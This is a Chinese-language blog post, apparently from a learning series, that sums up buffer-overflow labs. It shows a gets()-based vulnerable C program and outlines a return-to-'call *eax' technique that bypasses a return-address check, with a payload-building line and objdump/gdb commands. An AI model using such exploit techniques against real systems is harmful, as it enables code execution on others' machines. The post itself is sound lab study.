缓冲区溢出之总结
来源:互联网 发布:怎么查询扣分情况淘宝 编辑:程序博客网 时间:2024/06/08 07:42
还有最后一个实验没写,觉得没必要了,在这里随便说一下就行了。
上代码:
char* getpath()
{
char buffer[64];unsigned int ret;printf("input path please:");fflush(stdout);gets(buffer);ret = __builtin_return_address(0);if ((ret & 0xb0000000) == 0xb0000000){ printf("bzzzt (%p)\n", ret); _exit(1);}printf("got path %s\n", buffer);return strdup(buffer);//这个函数的参数是一个数据指针,得到一组数据的副本,返回副本指针
}
int main(int argc, char** argv)
{
getpath();return 0;
}
想一下之前说用retn可以让函数跳转到shellcode并执行,那返回到call是不是也能执行 O(∩_∩)O
strdup(buffer)有这个函数,只需要返回这个函数的eax存储的位置就行了,实际上这里直接返回到call eax就行
1.找该堆栈中gets函数到返回地址的大小。
2.找出该程序中的一个call *eax
这里的命令写法:
junk = (80-len(shellcode))*’A’
print shellcode + junk + ‘\x9f\x84\x04\x08’
具体用到的linux命令:
x /s $eax 查看eax寄存器内容,显示ascii码
objdump -d pwn8 | grep “call *%eax” 这里是查找objdump输出的内容,仅显示call *eax(为通配符要查找需要在前面加\而\才是反斜杠的意思)
总结:
从第一篇开始接触缓冲区溢出,第一,二篇主要是写汇编语言分析,收获挺大的,分析完看懂些简单函数不是问题
接下来从发现逐渐转变成了利用
发现这里介绍的无非就是strcpy函数和gets函数。很浅的发现
而利用,这里介绍了用数据覆盖数据,用数据覆盖地址,绕过保护。
当发现一个漏洞,我们可以利用的不止是该堆栈,能利用一切,本执行程序的所有东西,甚至本客户机上正在执行的一切进程,各种代码各种变量,找到地址一个retn就能访问
学到的还有linux命令,虽然很少,积少成多嘛
谁说 人们抬头望天空就是发现了一枚石子,而之后飞上宇宙只是把这枚石子捡起来。
漏洞的发现就像找到一枚石子。
- 缓冲区溢出之总结
- 缓冲区溢出之环境变量
- 缓冲区溢出 学习总结1
- 缓冲区溢出代码实例总结
- 缓冲区溢出笔记之---STACK溢出
- 缓冲区溢出笔记之---STACK溢出
- 缓冲区溢出笔记之---STACK溢出
- [转]浅谈缓冲区溢出之栈溢出
- 小菜谈谈之缓冲区溢出
- 缓冲区溢出之JMP ESP皮毛
- 安全测试之缓冲区溢出(BO)
- 缓冲区溢出之返回地址保护
- 缓冲区溢出
- 缓冲区溢出
- 缓冲区溢出
- 缓冲区溢出
- 缓冲区溢出
- 缓冲区溢出
- 一道谷歌编程题引发的思考
- explicit
- AVI媒体封装格式
- websocket 库 "boost.beast" windows 平台 VS2015 编译过程记录
- Web监听器
- 缓冲区溢出之总结
- Effective STL 19 understand the difference between equality and equivalence
- PAT【1001】害死人不偿命的3n+1猜想
- 最长回文子串(Longest Palindromic Substring)
- ubuntu17.04 gnome 的简单使用
- UVA 1328 Period
- Maven学习笔记---maven整合web项目
- LoadRunner 中实现MD5加密
- 原子